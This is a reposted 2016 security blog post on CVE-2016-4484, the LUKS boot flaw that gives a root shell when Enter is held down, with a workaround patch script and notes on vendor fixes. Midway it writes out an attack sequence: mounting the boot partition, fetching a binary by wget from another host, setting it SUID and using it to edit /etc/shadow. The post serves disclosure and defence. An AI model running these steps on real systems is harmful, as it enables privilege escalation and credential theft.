惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

酷 壳 – CoolShell
酷 壳 – CoolShell
H
Hacker News: Front Page
P
Palo Alto Networks Blog
T
ThreatConnect
Apple Machine Learning Research
Apple Machine Learning Research
博客园_首页
T
True Tiger Recordings
P
Privacy & Cybersecurity Law Blog
B
Blog
IT之家
IT之家
Last Week in AI
Last Week in AI
F
Full Disclosure
Hacker News: Ask HN
Hacker News: Ask HN
C
Comments on: Blog
Microsoft Azure Blog
Microsoft Azure Blog
C
Cybersecurity and Infrastructure Security Agency CISA
Microsoft Security Blog
Microsoft Security Blog
博客园 - 【当耐特】
N
News and Events Feed by Topic
NISL@THU
NISL@THU
腾讯CDC
雷峰网
雷峰网
Security Latest
Security Latest
李成银的技术随笔
M
Microsoft Research Blog - Microsoft Research
L
LangChain Blog
L
Lohrmann on Cybersecurity
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
C
Check Point Blog
Y
Y Combinator Blog
Recent Announcements
Recent Announcements
博客园 - Franky
N
News | PayPal Newsroom
V
V2EX
A
About on SuperTechFans
The Register - Security
The Register - Security
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Google Online Security Blog
Google Online Security Blog
MyScale Blog
MyScale Blog
Cisco Talos Blog
Cisco Talos Blog
Vercel News
Vercel News
WordPress大学
WordPress大学
C
Cyber Attacks, Cyber Crime and Cyber Security
The Hacker News
The Hacker News
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
爱范儿
爱范儿
A
Arctic Wolf
L
LINUX DO - 最新话题
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More

Black Hills Information Security, Inc.

Same Problem, Different Angles: When Red Team and Blue Team Actually Talk to Each Other How to Identify and Exploit New Vulnerabilities Swapper – A Pure Regex Match/Replace Burp Extension A Practical Guide to BloodHound Data Collection Network Engineering Basics Signed, Trusted, and Abused: Proxy Execution via WebView2 Getting Started In Pentesting – Advice From The BHIS Pentest Lead Cloud Security: Tips and Resources for Securing the Cloud Lessons From A Chatbot Incident How to Lead Effective Tabletops Understanding GRC: How to Navigate Risks and Compliance Standards The “P” in PAM is for Persistence: Linux Persistence Technique Malware Analysis: How to Analyze and Understand Malware OSINT: How to Find, Use, and Control Open-Source Intelligence What to Do with Your First Home Lab When the SOC Goes to Deadwood: A Night to Remember Social Engineering and Microsoft SSPR: The Road to Pwnage is Paved with Good Intentions Common Cyber Threats Finding the Right Penetration Testing Company Deceptive-Auditing: An Active Directory Honeypots Tool The Curious Case of the Comburglar How to Set Smart Goals (That Actually Work For You) Inside the BHIS SOC: A Conversation with Hayden Covington Abusing Delegation with Impacket (Part 3): Resource-Based Constrained Delegation Why You Got Hacked – 2025 Super Edition Abusing Delegation with Impacket (Part 2): Constrained Delegation Abusing Delegation with Impacket (Part 1): Unconstrained Delegation GoSpoof – Turning Attacks into Intel Model Context Protocol (MCP) Bypassing WAFs Using Oversized Requests Getting Started with AI Hacking Part 2: Prompt Injection Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 2) DomCat: A Domain Categorization Tool Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 1) Microsoft Store and WinGet: Security Risks for Corporate Environments Default Web Content MailFail Commonly Abused Administrative Utilities: A Hidden Risk to Enterprise Security Stop Spoofing Yourself! Disabling M365 Direct Send Bypassing CSP with JSONP: Introducing JSONPeek and CSP B Gone Offensive Tooling Cheatsheets: An Infosec Survival Guide Resource DNS Triage Cheatsheet GraphRunner Cheatsheet Burp Suite Cheatsheet Impacket Cheatsheet Wireshark Cheatsheet Hashcat Cheatsheet EyeWitness Cheatsheet Nmap Cheatsheet Netcat (nc) Cheatsheet Hunt for Weak Spots in Your Wireless Network with Airodump-ng from the Aircrack-ng Suite Detecting ADCS Privilege Escalation Vulnerability Scanning with Nmap Getting Started with NetExec: Streamlining Network Discovery and Access How to Use Dirsearch Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 3: Arcanum Cyber Security Bot How to Design and Execute Effective Social Engineering Attacks by Phone Abusing S4U2Self for Active Directory Pivoting Why Use a Macro Pad? Espanso: Text Replacement, the Easy Way Caging Copilot: Lessons Learned in LLM Security Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 2: Copilot Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 1: Burpference Intercepting Traffic for Mobile Applications that Bypass the System Proxy How to Root Android Phones Communicating Security to the C-Suite: A Strategic Approach Offline Memory Forensics With Volatility Getting Started with AI Hacking: Part 1 Go-Spoof: A Tool for Cyber Deception How to Test Adversary-in-the-Middle Without Hacking Tools Canary in the Code: Alert()-ing on XSS Exploits How to Hack Wi-Fi with No Wi-Fi Why Your Org Needs a Penetration Test Program Burp Suite Extension: Copy For Light at the End of the Dark Web Wi-Fi Forge: Practice Wi-Fi Security Without Hardware Avoiding Dirty RAGs: Retrieval-Augmented Generation with Ollama and LangChain Gone Phishing: Installing GoPhish and Creating a Campaign 5 Things We Are Going to Continue to Ignore in 2025 John Strand’s 5 Phase Plan For Starting in Computer Security Questions From a Beginner Threat Hunter GRC for Security Managers: From Checklists to Influence AI Large Language Models and Supervised Fine Tuning Attack Tactics 9: Shadow Creds for PrivEsc w/ Kent & Jordan One Active Directory Account Can Be Your Best Early Warning Introduction to Zeek Log Analysis Indecent Exposure: Your Secrets are Showing Creating Burp Extensions: A Beginner’s Guide Pitting AI Against AI: Using PyRIT to Assess Large Language Models (LLMs) The Top Ten List of Why You Got Hacked This Year (2023/2024) ICS Hard Knocks: Mitigations to Scenarios Found in ICS/OT Backdoors & Breaches Intro to Data Analytics Using SQL Finding Access Control Vulnerabilities with Autorize The Detection Engineering Process Cyber Risk Lessons We Can Learn From Hurricane Preparedness Intro to Desktop Application Testing Methodology What Is Penetration Testing? Adversary in the Middle (AitM): Post-Exploitation Pentesting, Threat Hunting, and SOC: An Overview QEMU, MSYS2, and Emacs: Open-Source Solutions to Run Virtual Machines on Windows
Two Button PWNage
2016-11-17 · via Black Hills Information Security, Inc.

73227552.jpg

Step One: Power. Step Two: Enter. Step Three: ???? Step Four: Profit.

In the security industry, we love our encryption. However sometimes, the complexity introduced by encryption can bite us down the road. A serious case of this was announced last Friday (November 11th) at DeepSec 2016 in Vienna.

CVE-2016-4484: After powering on most Linux computers with hard drive encryption enabled (LUKS), you can make your way into a root shell by simply holding down the enter key.

Alright that sounds bad, and it is. However, the shell you are presented with is severely stripped down, and the encrypted disks remain encrypted. Thankfully, this means a would-be attacker would not be able to access most of the data on the system.

However, the authors of the finding, Hector Marco and Ismael Ripoll, are quick to point out that the vulnerability is still useful for nefarious activities such as

Elevation of privilege: Since the boot partition is typically not encrypted:

It can be used to store an executable file with the bit SetUID enabled. Which can later be used to escalate privileges by a local user.

If the boot is not secured, then it would be possible to replace the kernel and the initrd image.

Information disclosure: It is possible to access all the disks. Although the system partition is encrypted it can be copied to an external device, where it can be later be brute forced. Obviously, it is possible to access non-encrypted information in other devices.

Denial of service: The attacker can delete the information on all the disks.

(Quoted from http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html)

How do I fix the issue?

Sadly, this bug occurs in several different code bases, making it harder to remedy. On Debian based systems, this problem exists in the cryptsetup package, and on RHEL based systems, the problem lies in the dracut package. At the time of this writing, I have not heard whether or not mkinitcpio based systems are affected.

On Debian based systems, the error is caused by an off by one error in the cryptroot shell script which is packaged with cryptsetup. Marco and Ripoll explain the error here. (link to http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html) An official patch has been rolled out to Debian’s unstable and testing repositories, but the patch has not been pushed through to the stable branch. Additionally, Ubuntu has yet to push through a patch to any of their repositories.

While you wait for the official patch, you can protect your system running the following script based on the fix suggested by Marco and Ripoll.

CVE-2016-4484-Debian-Fix

#!/bin/sh

perl -i -lpe '

if (/^[\s]+count=0/){

        print "\tsuccess=0";

};

if (/^[\s]+message "cryptsetup: \$crypttarget set up successfully"/){

        print "\t\tsuccess=1";

};

' /usr/share/initramfs-tools/scripts/local-top/cryptroot

perl -i -0777 -pe '

s/[\s]+if \[ \$crypttries -gt 0 \] && \[ \$count -gt \$crypttries \];

then[\s]+message "cryptsetup: maximum number of tries exceeded for

\$crypttarget"[\s]+return 1/\n\tif [ \$success -eq 0 ];

then\n\t\tmessage \"cryptsetup: Maximum number of tries exceeded. 
Please

reboot.\"\n\t\twhile true; do\n\t\t\tsleep 100\n\t\tdone/

' /usr/share/initramfs-tools/scripts/local-top/cryptroot

update-initramfs -u

Unfortunately, I cannot provide a fix for dracut on RHEL based systems. Dracut is an event based tool used to generate the initial ram disk used when booting up your Linux system, and I am not very familiar with its code base. However, the fix is likely to be simple, but after looking through the code, I did not quickly notice how to fix it.

In the meantime, checkout the progress being made on official patches here:

Debian: https://packages.qa.debian.org/c/cryptsetup.html

Ubuntu: https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4484.html 

RHEL: https://access.redhat.com/security/cve/cve-2016-4484

Dracut: http://git.kernel.org/cgit/boot/dracut/dracut.git/ 

73227707.jpg

Time to get to work!

Who cares about a vulnerability which requires physical access?

While exploiting this vulnerability requires physical access, it is still lethal in a virtual environment. Imagine an attacker is stalking your hypervisor. With this vulnerability, the attacker has an easy way to elevate their privileges on an encrypted virtual machine.

The attacker waits until the virtual machine is powered off, jumps into the root shell, mounts the unencrypted boot partition, loads some programs onto it, sets the sticky bit on the programs, shuts down the virtual machine, and waits until someone logs back into it. Now, all the attacker has to do is run the programs they loaded into the boot partition in order to obtain root access.

The commands used to execute this attack would look something like this:

##Drop into the shell using CVE 2016 4484

#Mount the boot partition

mkdir /boot

mount /dev/sda1 /boot

#Set up an ip address to receive executables

#Note: the busybox executables included in the initramfs do not 
work with the sticky bit

ip address add 192.168.0.74/24

ifconfig ens33 up

#Serve up /usr/bin on another computer (192.168.0.100/24)

#Download nano to the boot partition

cd /boot

wget 192.168.0.100/nano

#Set the sticky bit

chmod 4755 nano

#Shutdown

cd ..

umount /dev/sda1

poweroff

#Wait and obtain access to an underprivileged account

/boot/nano /etc/shadow

#WIN.

Note: This was tested using Ubuntu Server 16.04.  Fedora 24 does not seem to be vulnerable to this attack without some finagling, since chmod is not included in the dracut shell by default. However, dracut does include vi by default, which should be susceptible to the sticky bit attack.

How do we prevent these types of vulnerabilities?

The code in question concerning this vulnerability is all open source. There simply weren’t enough critical readers reviewing the code. As users of these immensely popular projects, we owe it to ourselves to occasionally participate in the code review process. It wasn’t only the contributors to these projects who failed. We failed. Next time you’re using a piece of technology critical to your business or daily habits, check if the source code is available for it. Skim through it. See if you can catch a bit of the ingenuity that went into creating it. If you don’t understand a lick of code, check out the wiki and bug trackers for the projects.  Too often we take software for granted, and we howl when vulnerabilities like this come out of the woodwork.

Learn more about CVE-2016-4484 at the official disclosure.